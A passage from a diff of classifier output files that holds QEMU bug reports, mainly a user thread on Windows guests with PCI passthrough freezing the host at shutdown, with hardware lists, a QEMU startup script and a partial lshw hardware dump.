+interpret ' unix-tte is va>tte-data failed with error ffffffffffffffed +WARNING: consconfig: cannot find driver for screen device /pci@1fe,0/pci@1,1/QEMU,VGA@2 +Hostname: tribblix +Remounting root read/write +Probing for device nodes ... +WARNING: Interrupt not seen after set_features +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +Preparing image for use +Done mounting /usr filesystem +USB keyboard + 1. Albanian 25. Latin-American + 2. Arabic 26. Lithuanian + 3. Belarusian 27. Latvian + 4. Belgian 28. Macedonian + 5. Brazilian 29. Malta_UK + 6. Bulgarian 30. Malta_US + 7. Canadian-Bilingual 31. Norwegian + 8. Croatian 32. Polish + 9. Czech 33. Portuguese +10. Danish 34. Romanian +11. Dutch 35. Russian +12. Dvorak 36. Serbia-And-Montenegro +13. Estonian 37. Slovak +14. Finnish 38. Slovenian +15. French 39. Spanish +16. French-Canadian 40. Swedish +17. Hungarian 41. Swiss-French +18. German 42. Swiss-German +19. Greek 43. Traditional-Chinese +20. Icelandic 44. TurkishF +21. Italian 45. TurkishQ +22. Japanese-type6 46. UK-English +23. Japanese 47. US-English +24. Korean +To select the keyboard layout, enter a number [default 47]: + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/216 + + diff --git a/results/classifier/deepseek-1/output/stability./1580459 b/results/classifier/deepseek-1/output/stability./1580459 new file mode 100644 index 00000000..717538f8 --- /dev/null +++ b/results/classifier/deepseek-1/output/stability./1580459 @@ -0,0 +1,3944 @@ + +Windows (10?) guest freezes entire host on shutdown if using PCI passthrough + +Problem: after leaving a Windows VM that uses PCI passthrough (as we do for gaming graphics cards, sound cards, and in my case, a USB card) running for some amount of time between 1 and 2 hours (it's not consistent with exactly how long), and for any amount of time longer than that, shutting down that guest will, right as it finishes shutting down, freeze the host computer, making it require a hard reboot. Unbinding (or in the other user's case, unbinding and THEN binding) any PCI device in sysfs, even one that has nothing to do with the VM, also has the same effect as shutting down the VM (if the VM has been running long enough). So, it's probably an issue related to unbinding and binding PCI devices. + +There's a lot of info on this problem over at https://bbs.archlinux.org/viewtopic.php?id=206050 +Here's a better-organized list of main details: +-at least 2 confirmed victims of this bug; 2 (including me) have provided lots of info in the link +-I'm on Arch Linux and the other one is on Gentoo (distro-nonspecific) +-issue affects my Windows 10 guest and others' Windows guests, but not my Arch Linux guest (the others don't have non-Windows guests to test) +-I'm using libvirt but the other user is not, so it's not an issue with libvirt +-It seems to be version non-specific, too. I first noticed it at, or when testing versions still had the issue at (whichever version is lower), Linux 4.1 and qemu 2.4.0. It still persists in all releases of both since, including the newest ones. +-I can't track down exactly what package downgrade can fix it, as downgrading further than Linux 4.1 and qemu 2.4.0 requires Herculean and system-destroying changes such as downgrading ncurses, meaning I don't know whether it's a bug in QEMU, the Linux kernel, or some weird seemingly unrelated thing. +-According to the other user, "graphics intensive gameplay (GTA V) can cause the crash to happen sooner," as soon as "15 minutes" +-Also, "bringing up a second passthrough VM with separate hardware will cause the same crash," and "bringing up another VM before the two-hour mark will not result in a crash," further cementing that it's triggered by the un/binding of PCI devices. +-This is NOT related to the very similar bug that can be worked around by not passing through the HDMI device or sound card. Even when we removed all traces of any sort of sound card from the VM, it still had the same behavior. + +I am seeing this issue on arch also. I also tried Fedora24 to see if it was a Arch only issue. + +If I start a VM and stop it shortly after everything works fine. + +If I start a VM and game for a while, on VM shutdown the host will totally lock. Tailing the journal to see if anything gets logged shows nothing (hangs before any errors are logged). Have to hard power cycle PC to regain use. + +I'm willing to do any test to try to figure this out. + +Hardware details: +i7-5820K 3.3 GHz (hex core) +12g ram +ASRock X99 Extreme4 LGA2011 +GTX 970 nvidia drivers (pass thru card) using Display port +Asus Rog Swift 27" + + + +Oh, I should post my hardware: + +i7-5820K (also) (4/6 cores (8/12 threads) being passed to VMs) +12GB RAM (also) (8GB being passed to VMs) +MSI X99 SLI Plus (though I don't use SLI) +NVidia GTX 960 2GB pass-thru (also had this problem on a GTX 660 before that died) +GT 740 host card, using nouveau when VMs are running + +We have some pretty similar hardware there. + +Here is my startup script. + +#!/bin/bash + + +echo "Starting virtual machine..." + +cp /usr/share/edk2.git/ovmf-x64/OVMF_VARS-pure-efi.fd /tmp/my_vars.fd + +sudo \ + qemu-system-x86_64 \ + -name "Windows 10" \ + -enable-kvm \ + -m 12288 \ + -cpu host,kvm=off \ + -smp threads=2,cores=4,sockets=1 \ + -vga none \ + -soundhw hda \ + -net nic -net bridge,br=br0 \ + -usb -usbdevice host:1af3:0001 -usbdevice host:04d9:2221 -usbdevice host:046d:0a4d \ + -device vfio-pci,host=01:00.0,multifunction=on \ + -device vfio-pci,host=01:00.1 \ + -drive if=pflash,format=raw,readonly,file=/usr/share/edk2.git/ovmf-x64/OVMF_CODE-pure-efi.fd \ + -drive if=pflash,format=raw,file=/tmp/my_vars.fd \ + -boot order=cd \ + -device virtio-scsi-pci,id=scsi \ + -drive file=/home/jason/kvm/win.img,id=disk,format=qcow2,if=none,cache=writeback -device scsi-hd,drive=disk \ + +exit 0 + +I should also post my "scripts" (libvirt XML files in my case): + +But, since the Windows VM and Linux VM are completely identical beyond the OS that's installed, I don't think our VM configurations have anything to do with this bug. I mean, they aren't completely identical right now because I removed the HDMI sound card from the Linux VM in favor of PulseAudio "network" streaming, but I did that recently and they had the same behavior or lack thereof before I did that. + +Also, yeah, the Linux one is called SteamOS, but it is actually just an almost identical install of Arch. SteamOS wasn't playing nice with most of my hardware when I tried to install it. + +I think this is what's happening to me on my windows 8.1 vm although it might be slightly different. + +Just about everything you guys talked about applies except I don't have to shutdown for it to freeze up in my case(although if it's on for long enough and I shut it off it freezes). It freezes up on it's own seemingly at random taking the host with it. + +First happened to me on a freshly installed Arch(antergos), then tried it on Debian after updating my kernel from 4.3 to 4.5(there was a bug that made the vm excruciatingly slow before 4.4) and it happened again. + +My hardware: + +i7 5820k +8GB Ram (Upgrading to 32GB when the ram I ordered gets here) +MSI X99S SLI Plus +AMD Radeon R9-270X (Host GPU using "radeon" drivers) +AMD Radeon HD 6950 1GB (Passthrough GPU) + +Interesting that aside from the GPUs(which I'm pretty sure aren't the problem) we all have very similar hardware. + +When I get some free time I'll try to replicate this bug on another OS but I have a feeling I'll just get the same result. I just want to see if it'll happen no matter what distro I use. + +I doubt you have a different issue. My VM has randomly hanged my computer without a shut down a few times during the life of this bug, and there are two very possible ways it could happen: the VM suddenly crashed, making a situation similar to it shutting down, or something in your host caused some PCI device to be bound or unbound to a driver. + +I see, it's definitely the same issue then. + +Could it be something to do with our hardware unbinding and binding pci devices or something of the sort? I sort of doubt it but it is strange someone else with a more different CPU/mobo combo hasn't reported this problem yet. + +That being said, we have a very small sample size so I don't know if that means anything. + + + +Whoops, I clicked the wrong button and added the wrong thing for Arch Linux, and I don't know how to delete it. (new to launchpad here) + +OK, I figured out how to delete it. + +I am having the exact same issue! + +My Setup: + +Model: unRaid 6.2 Beta +M/B: ASUSTeK Computer INC. - Z8P(N)E-D12(X) +CPU: Intel® Xeon® CPU X5690 @ 3.47GHz +HVM: Enabled +IOMMU: Enabled +Cache: 384 kB, 1536 kB, 12288 kB +Memory: 32768 MB (max. installable capacity 96 GB) +Network: bond0: fault-tolerance (active-backup), mtu 1500 + eth0: 100Mb/s, Full Duplex, mtu 1500 + eth1: 1000Mb/s, Full Duplex, mtu 1500 +Kernel: Linux 4.4.6-unRAID x86_64 +OpenSSL: 1.0.2g + +<?xml version="1.0" standalone="yes" ?> +<!-- generated by lshw-unknown --> +<!-- GCC 5.3.0 --> +<!-- Linux 4.4.6-unRAID #1 SMP PREEMPT Fri Mar 25 21:34:35 PDT 2016 x86_64 --> +<!-- GNU libc 2 (glibc 2.23) --> +<list> +<node id="computer" claimed="true" class="system" handle="DMI:0001"> + <description>Desktop Computer</description> + <product>System Product Name (To Be Filled By O.E.M.)</product> + <vendor>System manufacturer</vendor> + <version>System Version</version> + <serial>[REMOVED]</serial> + <width units="bits">4294967295</width> + <configuration> + <setting id="boot" value="normal" /> + <setting id="chassis" value="desktop" /> + <setting id="family" value="To Be Filled By O.E.M." /> + <setting id="sku" value="To Be Filled By O.E.M." /> + <setting id="uuid" value="[REMOVED]" /> + </configuration> + <capabilities> + <capability id="smbios-2.6" >SMBIOS version 2.6</capability> + <capability id="dmi-2.6" >DMI version 2.6</capability> + <capability id="smp" >Symmetric Multi-Processing</capability> + </capabilities> + <node id="core" claimed="true" class="bus" handle="DMI:0002"> + <description>Motherboard</description> + <product>Z8P(N)E-D12(X)</product> + <vendor>ASUSTeK Computer INC.</vendor> + <physid>0</physid> + <version>Rev 1.0xG</version> + <serial>[REMOVED]</serial> + <slot>To Be Filled By O.E.M.</slot> + <node id="firmware" claimed="true" class="memory" handle=""> + <description>BIOS</description> + <vendor>American Megatrends Inc.</vendor> + <physid>0</physid> + <version>1302</version> + <date>06/25/2012</date> + <size units="bytes">65536</size> + <capacity units="bytes">2031616</capacity> + <capabilities> + <capability id="isa" >ISA bus</capability> + <capability id="pci" >PCI bus</capability> + <capability id="pnp" >Plug-and-Play</capability> + <capability id="upgrade" >BIOS EEPROM can be upgraded</capability> + <capability id="shadowing" >BIOS shadowing</capability> + <capability id="escd" >ESCD</capability> + <capability id="cdboot" >Booting from CD-ROM/DVD</capability> + <capability id="bootselect" >Selectable boot path</capability> + <capability id="socketedrom" >BIOS ROM is socketed</capability> + <capability id="edd" >Enhanced Disk Drive extensions</capability> + <capability id="int13floppy1200" >5.25" 1.2MB floppy</capability> + <capability id="int13floppy720" >3.5" 720KB floppy</capability> + <capability id="int13floppy2880" >3.5" 2.88MB floppy</capability> + <capability id="int5printscreen" >Print Screen key</capability> + <capability id="int9keyboard" >i8042 keyboard controller</capability> + <capability id="int14serial" >INT14 serial line control</capability> + <capability id="int17printer" >INT17 printer control</capability> + <capability id="int10video" >INT10 CGA/Mono video</capability> + <capability id="acpi" >ACPI</capability> + <capability id="usb" >USB legacy emulation</capability> + <capability id="ls120boot" >Booting from LS-120</capability> + <capability id="zipboot" >Booting from ATAPI ZIP</capability> + <capability id="biosbootspecification" >BIOS boot specification</capability> + </capabilities> + </node> + <node id="cpu:0" claimed="true" class="processor" handle="DMI:0004"> + <description>CPU</description> + <product>Intel(R) Xeon(R) CPU X5690 @ 3.47GHz</product> + <vendor>Intel Corp.</vendor> + <physid>4</physid> + <businfo>cpu@0</businfo> + <version>Intel(R) Xeon(R) CPU X5690 @ 3.47GHz</version> + <serial>[REMOVED]</serial> + <slot>CPU 1</slot> + <size units="Hz">3468000000</size> + <capacity units="Hz">3600000000</capacity> + <width units="bits">64</width> + <clock units="Hz">133000000</clock> + <configuration> + <setting id="cores" value="6" /> + <setting id="enabledcores" value="6" /> + <setting id="threads" value="12" /> + </configuration> + <capabilities> + <capability id="x86-64" >64bits extensions (x86-64)</capability> + <capability id="fpu" >mathematical co-processor</capability> + <capability id="fpu_exception" >FPU exceptions reporting</capability> + <capability id="wp" /> + <capability id="vme" >virtual mode extensions</capability> + <capability id="de" >debugging extensions</capability> + <capability id="pse" >page size extensions</capability> + <capability id="tsc" >time stamp counter</capability> + <capability id="msr" >model-specific registers</capability> + <capability id="pae" >4GB+ memory addressing (Physical Address Extension)</capability> + <capability id="mce" >machine check exceptions</capability> + <capability id="cx8" >compare and exchange 8-byte</capability> + <capability id="apic" >on-chip advanced programmable interrupt controller (APIC)</capability> + <capability id="sep" >fast system calls</capability> + <capability id="mtrr" >memory type range registers</capability> + <capability id="pge" >page global enable</capability> + <capability id="mca" >machine check architecture</capability> + <capability id="cmov" >conditional move instruction</capability> + <capability id="pat" >page attribute table</capability> + <capability id="pse36" >36-bit page size extensions</capability> + <capability id="clflush" /> + <capability id="dts" >debug trace and EMON store MSRs</capability> + <capability id="acpi" >thermal control (ACPI)</capability> + <capability id="mmx" >multimedia extensions (MMX)</capability> + <capability id="fxsr" >fast floating point save/restore</capability> + <capability id="sse" >streaming SIMD extensions (SSE)</capability> + <capability id="sse2" >streaming SIMD extensions (SSE2)</capability> + <capability id="ss" >self-snoop</capability> + <capability id="ht" >HyperThreading</capability> + <capability id="tm" >thermal interrupt and status</capability> + <capability id="pbe" >pending break event</capability> + <capability id="syscall" >fast system calls</capability> + <capability id="nx" >no-execute bit (NX)</capability> + <capability id="pdpe1gb" /> + <capability id="rdtscp" /> + <capability id="constant_tsc" /> + <capability id="arch_perfmon" /> + <capability id="pebs" /> + <capability id="bts" /> + <capability id="rep_good" /> + <capability id="nopl" /> + <capability id="xtopology" /> + <capability id="nonstop_tsc" /> + <capability id="aperfmperf" /> + <capability id="pni" /> + <capability id="pclmulqdq" /> + <capability id="dtes64" /> + <capability id="monitor" /> + <capability id="ds_cpl" /> + <capability id="vmx" /> + <capability id="smx" /> + <capability id="est" /> + <capability id="tm2" /> + <capability id="ssse3" /> + <capability id="cx16" /> + <capability id="xtpr" /> + <capability id="pdcm" /> + <capability id="pcid" /> + <capability id="dca" /> + <capability id="sse4_1" /> + <capability id="sse4_2" /> + <capability id="popcnt" /> + <capability id="aes" /> + <capability id="lahf_lm" /> + <capability id="ida" /> + <capability id="arat" /> + <capability id="epb" /> + <capability id="dtherm" /> + <capability id="tpr_shadow" /> + <capability id="vnmi" /> + <capability id="flexpriority" /> + <capability id="ept" /> + <capability id="vpid" /> + <capability id="cpufreq" >CPU Frequency scaling</capability> + </capabilities> + <node id="cache:0" claimed="true" class="memory" handle="DMI:0005"> + <description>L1 cache</description> + <physid>5</physid> + <slot>L1-Cache</slot> + <size units="bytes">393216</size> + <capacity units="bytes">393216</capacity> + <configuration> + <setting id="level" value="1" /> + </configuration> + <capabilities> + <capability id="internal" >Internal</capability> + <capability id="write-through" >Write-trough</capability> + <capability id="instruction" >Instruction cache</capability> + </capabilities> + </node> + <node id="cache:1" claimed="true" class="memory" handle="DMI:0006"> + <description>L2 cache</description> + <physid>6</physid> + <slot>L2-Cache</slot> + <size units="bytes">1572864</size> + <capacity units="bytes">1572864</capacity> + <configuration> + <setting id="level" value="2" /> + </configuration> + <capabilities> + <capability id="internal" >Internal</capability> + <capability id="write-through" >Write-trough</capability> + <capability id="unified" >Unified cache</capability> + </capabilities> + </node> + <node id="cache:2" claimed="true" class="memory" handle="DMI:0007"> + <description>L3 cache</description> + <physid>7</physid> + <slot>L3-Cache</slot> + <size units="bytes">12582912</size> + <capacity units="bytes">12582912</capacity> + <configuration> + <setting id="level" value="3" /> + </configuration> + <capabilities> + <capability id="internal" >Internal</capability> + <capability id="write-back" >Write-back</capability> + <capability id="unified" >Unified cache</capability> + </capabilities> + </node> + </node> + <node id="cpu:1" claimed="true" class="processor" handle="DMI:0008"> + <description>CPU</description> + <product>Intel(R) Xeon(R) CPU X5690 @ 3.47GHz</product> + <vendor>Intel Corp.</vendor> + <physid>8</physid> + <businfo>cpu@1</businfo> + <version>Intel(R) Xeon(R) CPU X5690 @ 3.47GHz</version> + <serial>[REMOVED]</serial> + <slot>CPU 2</slot> + <size units="Hz">1733000000</size> + <capacity units="Hz">3600000000</capacity> + <width units="bits">64</width> + <clock units="Hz">133000000</clock> + <configuration> + <setting id="cores" value="6" /> + <setting id="enabledcores" value="6" /> + <setting id="threads" value="12" /> + </configuration> + <capabilities> + <capability id="x86-64" >64bits extensions (x86-64)</capability> + <capability id="fpu" >mathematical co-processor</capability> + <capability id="fpu_exception" >FPU exceptions reporting</capability> + <capability id="wp" /> + <capability id="vme" >virtual mode extensions</capability> + <capability id="de" >debugging extensions</capability> + <capability id="pse" >page size extensions</capability> + <capability id="tsc" >time stamp counter</capability> + <capability id="msr" >model-specific registers</capability> + <capability id="pae" >4GB+ memory addressing (Physical Address Extension)</capability> + <capability id="mce" >machine check exceptions</capability> + <capability id="cx8" >compare and exchange 8-byte</capability> + <capability id="apic" >on-chip advanced programmable interrupt controller (APIC)</capability> + <capability id="sep" >fast system calls</capability> + <capability id="mtrr" >memory type range registers</capability> + <capability id="pge" >page global enable</capability> + <capability id="mca" >machine check architecture</capability> + <capability id="cmov" >conditional move instruction</capability> + <capability id="pat" >page attribute table</capability> + <capability id="pse36" >36-bit page size extensions</capability> + <capability id="clflush" /> + <capability id="dts" >debug trace and EMON store MSRs</capability> + <capability id="acpi" >thermal control (ACPI)</capability> + <capability id="mmx" >multimedia extensions (MMX)</capability> + <capability id="fxsr" >fast floating point save/restore</capability> + <capability id="sse" >streaming SIMD extensions (SSE)</capability> + <capability id="sse2" >streaming SIMD extensions (SSE2)</capability> + <capability id="ss" >self-snoop</capability> + <capability id="ht" >HyperThreading</capability> + <capability id="tm" >thermal interrupt and status</capability> + <capability id="pbe" >pending break event</capability> + <capability id="syscall" >fast system calls</capability> + <capability id="nx" >no-execute bit (NX)</capability> + <capability id="pdpe1gb" /> + <capability id="rdtscp" /> + <capability id="constant_tsc" /> + <capability id="arch_perfmon" /> + <capability id="pebs" /> + <capability id="bts" /> + <capability id="rep_good" /> + <capability id="nopl" /> + <capability id="xtopology" /> + <capability id="nonstop_tsc" /> + <capability id="aperfmperf" /> + <capability id="pni" /> + <capability id="pclmulqdq" /> + <capability id="dtes64" /> + <capability id="monitor" /> + <capability id="ds_cpl" /> + <capability id="vmx" /> + <capability id="smx" /> + <capability id="est" /> + <capability id="tm2" /> + <capability id="ssse3" /> + <capability id="cx16" /> + <capability id="xtpr" /> + <capability id="pdcm" /> + <capability id="pcid" /> + <capability id="dca" /> + <capability id="sse4_1" /> + <capability id="sse4_2" /> + <capability id="popcnt" /> + <capability id="aes" /> + <capability id="lahf_lm" /> + <capability id="ida" /> + <capability id="arat" /> + <capability id="epb" /> + <capability id="dtherm" /> + <capability id="tpr_shadow" /> + <capability id="vnmi" /> + <capability id="flexpriority" /> + <capability id="ept" /> + <capability id="vpid" /> + <capability id="cpufreq" >CPU Frequency scaling</capability> + </capabilities> + <node id="cache:0" claimed="true" class="memory" handle="DMI:0009"> + <description>L1 cache</description> + <physid>9</physid> + <slot>L1-Cache</slot> + <size units="bytes">393216</size> + <capacity units="bytes">393216</capacity> + <configuration> + <setting id="level" value="1" /> + </configuration> + <capabilities> + <capability id="internal" >Internal</capability> + <capability id="write-through" >Write-trough</capability> + <capability id="instruction" >Instruction cache</capability> + </capabilities> + </node> + <node id="cache:1" claimed="true" class="memory" handle="DMI:000A"> + <description>L2 cache</description> + <physid>a</physid> + <slot>L2-Cache</slot> + <size units="bytes">1572864</size> + <capacity units="bytes">1572864</capacity> + <configuration> + <setting id="level" value="2" /> + </configuration> + <capabilities> + <capability id="internal" >Internal</capability> + <capability id="write-through" >Write-trough</capability> + <capability id="unified" >Unified cache</capability> + </capabilities> + </node> + <node id="cache:2" claimed="true" class="memory" handle="DMI:000B"> + <description>L3 cache</description> + <physid>b</physid> + <slot>L3-Cache</slot> + <size units="bytes">12582912</size> + <capacity units="bytes">12582912</capacity> + <configuration> + <setting id="level" value="3" /> + </configuration> + <capabilities> + <capability id="internal" >Internal</capability> + <capability id="write-back" >Write-back</capability> + <capability id="unified" >Unified cache</capability> + </capabilities> + </node> + </node> + <node id="memory" claimed="true" class="memory" handle="DMI:0030"> + <description>System Memory</description> + <physid>30</physid> + <slot>System board or motherboard</slot> + <size units="bytes">34359738368</size> + <configuration> + <setting id="errordetection" value="multi-bit-ecc" /> + </configuration> + <capabilities> + <capability id="ecc" >Multi-bit error-correcting code (ECC)</capability> + </capabilities> + <node id="bank:0" claimed="true" class="memory" handle="DMI:0032"> + <description>DIMM DDR3 1333 MHz (0.8 ns)</description> + <product>ModulePartNumber00</product> + <vendor>Manufacturer00</vendor> + <physid>0</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_A1</slot> + <size units="bytes">8589934592</size> + <width units="bits">64</width> + <clock units="Hz">1333000000</clock> + </node> + <node id="bank:1" claimed="true" class="memory" handle="DMI:0034"> + <description>DIMM DDR3 [empty]</description> + <product>ModulePartNumber01</product> + <vendor>Manufacturer01</vendor> + <physid>1</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_A2</slot> + <width units="bits">64</width> + </node> + <node id="bank:2" claimed="true" class="memory" handle="DMI:0036"> + <description>DIMM DDR3 1333 MHz (0.8 ns)</description> + <product>ModulePartNumber02</product> + <vendor>Manufacturer02</vendor> + <physid>2</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_B1</slot> + <size units="bytes">8589934592</size> + <width units="bits">64</width> + <clock units="Hz">1333000000</clock> + </node> + <node id="bank:3" claimed="true" class="memory" handle="DMI:0038"> + <description>DIMM DDR3 [empty]</description> + <product>ModulePartNumber03</product> + <vendor>Manufacturer03</vendor> + <physid>3</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_B2</slot> + <width units="bits">64</width> + </node> + <node id="bank:4" claimed="true" class="memory" handle="DMI:003A"> + <description>DIMM DDR3 [empty]</description> + <product>ModulePartNumber04</product> + <vendor>Manufacturer04</vendor> + <physid>4</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_C1</slot> + <width units="bits">64</width> + </node> + <node id="bank:5" claimed="true" class="memory" handle="DMI:003C"> + <description>DIMM DDR3 [empty]</description> + <product>ModulePartNumber05</product> + <vendor>Manufacturer05</vendor> + <physid>5</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_C2</slot> + <width units="bits">64</width> + </node> + <node id="bank:6" claimed="true" class="memory" handle="DMI:003E"> + <description>DIMM DDR3 1333 MHz (0.8 ns)</description> + <product>ModulePartNumber06</product> + <vendor>Manufacturer06</vendor> + <physid>6</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_D1</slot> + <size units="bytes">8589934592</size> + <width units="bits">64</width> + <clock units="Hz">1333000000</clock> + </node> + <node id="bank:7" claimed="true" class="memory" handle="DMI:0040"> + <description>DIMM DDR3 [empty]</description> + <product>ModulePartNumber07</product> + <vendor>Manufacturer07</vendor> + <physid>7</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_D2</slot> + <width units="bits">64</width> + </node> + <node id="bank:8" claimed="true" class="memory" handle="DMI:0042"> + <description>DIMM DDR3 1333 MHz (0.8 ns)</description> + <product>ModulePartNumber08</product> + <vendor>Manufacturer08</vendor> + <physid>8</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_E1</slot> + <size units="bytes">8589934592</size> + <width units="bits">64</width> + <clock units="Hz">1333000000</clock> + </node> + <node id="bank:9" claimed="true" class="memory" handle="DMI:0044"> + <description>DIMM DDR3 [empty]</description> + <product>ModulePartNumber09</product> + <vendor>Manufacturer09</vendor> + <physid>9</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_E2</slot> + <width units="bits">64</width> + </node> + <node id="bank:10" claimed="true" class="memory" handle="DMI:0046"> + <description>DIMM DDR3 [empty]</description> + <product>ModulePartNumber10</product> + <vendor>Manufacturer10</vendor> + <physid>a</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_F1</slot> + <width units="bits">64</width> + </node> + <node id="bank:11" claimed="true" class="memory" handle="DMI:0048"> + <description>DIMM DDR3 [empty]</description> + <product>ModulePartNumber11</product> + <vendor>Manufacturer11</vendor> + <physid>b</physid> + <serial>[REMOVED]</serial> + <slot>DIMM_F2</slot> + <width units="bits">64</width> + </node> + </node> + <node id="pci:0" claimed="true" class="bridge" handle="PCIBUS:0000:00"> + <description>Host bridge</description> + <product>5520 I/O Hub to ESI Port</product> + <vendor>Intel Corporation</vendor> + <physid>100</physid> + <businfo>pci@0000:00:00.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <node id="pci:0" claimed="true" class="bridge" handle="PCIBUS:0000:10"> + <description>PCI bridge</description> + <product>5520/5500/X58 I/O Hub PCI Express Root Port 1</product> + <vendor>Intel Corporation</vendor> + <physid>1</physid> + <businfo>pci@0000:00:01.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + <resource type="ioport" value="e000(size=4096)" /> + <resource type="memory" value="fb800000-fbefffff" /> + </resources> + <node id="storage" claimed="true" class="storage" handle="PCI:0000:10:00.0"> + <description>Serial Attached SCSI controller</description> + <product>SAS2008 PCI-Express Fusion-MPT SAS-2 [Falcon]</product> + <vendor>LSI Logic / Symbios Logic</vendor> + <physid>0</physid> + <businfo>pci@0000:10:00.0</businfo> + <logicalname>scsi2</logicalname> + <version>03</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="mpt3sas" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="storage" /> + <capability id="pm" >Power Management</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="vpd" >Vital Product Data</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="msix" >MSI-X</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + <capability id="rom" >extension ROM</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + <resource type="ioport" value="e000(size=256)" /> + <resource type="memory" value="fbe3c000-fbe3ffff" /> + <resource type="memory" value="fbe40000-fbe7ffff" /> + <resource type="memory" value="fbe80000-fbefffff" /> + <resource type="memory" value="fbdc0000-fbdfffff" /> + <resource type="memory" value="fb800000-fbbfffff" /> + </resources> + <node id="disk:0" claimed="true" class="disk" handle="SCSI:02:00:03:00"> + <description>ATA Disk</description> + <product>ST9750420AS</product> + <vendor>Seagate</vendor> + <physid>0.3.0</physid> + <businfo>scsi@2:0.3.0</businfo> + <logicalname>/dev/sdj</logicalname> + <dev>8:144</dev> + <version>SDM5</version> + <serial>[REMOVED]</serial> + <size units="bytes">750156374016</size> + <capacity units="bytes">750156513280</capacity> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="4096" /> + </configuration> + <capabilities> + <capability id="15000rpm" >15000 rotations per minute</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@2:0.3.0,1</businfo> + <logicalname>/dev/sdj1</logicalname> + <dev>8:145</dev> + <capacity>750156341248</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + <node id="disk:1" claimed="true" class="disk" handle="SCSI:02:00:04:00"> + <description>ATA Disk</description> + <product>ST9750420AS</product> + <vendor>Seagate</vendor> + <physid>0.4.0</physid> + <businfo>scsi@2:0.4.0</businfo> + <logicalname>/dev/sdk</logicalname> + <dev>8:160</dev> + <version>SDM5</version> + <serial>[REMOVED]</serial> + <size units="bytes">750156374016</size> + <capacity units="bytes">750156513280</capacity> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="4096" /> + </configuration> + <capabilities> + <capability id="15000rpm" >15000 rotations per minute</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@2:0.4.0,1</businfo> + <logicalname>/dev/sdk1</logicalname> + <dev>8:161</dev> + <capacity>750156341248</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + <node id="disk:2" claimed="true" class="disk" handle="SCSI:02:00:05:00"> + <description>ATA Disk</description> + <product>ST1000LX001-1EM1</product> + <vendor>Seagate</vendor> + <physid>0.5.0</physid> + <businfo>scsi@2:0.5.0</businfo> + <logicalname>/dev/sdl</logicalname> + <dev>8:176</dev> + <version>SD02</version> + <serial>[REMOVED]</serial> + <size units="bytes">1000204886016</size> + <capacity units="bytes">1000205189120</capacity> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="4096" /> + <setting id="signature" value="0e4ed601" /> + </configuration> + <capabilities> + <capability id="15000rpm" >15000 rotations per minute</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@2:0.5.0,1</businfo> + <logicalname>/dev/sdl1</logicalname> + <dev>8:177</dev> + <capacity>1000204853248</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + <node id="disk:3" claimed="true" class="disk" handle="SCSI:02:00:06:00"> + <description>ATA Disk</description> + <product>ST1000LX001-1EM1</product> + <vendor>Seagate</vendor> + <physid>0.6.0</physid> + <businfo>scsi@2:0.6.0</businfo> + 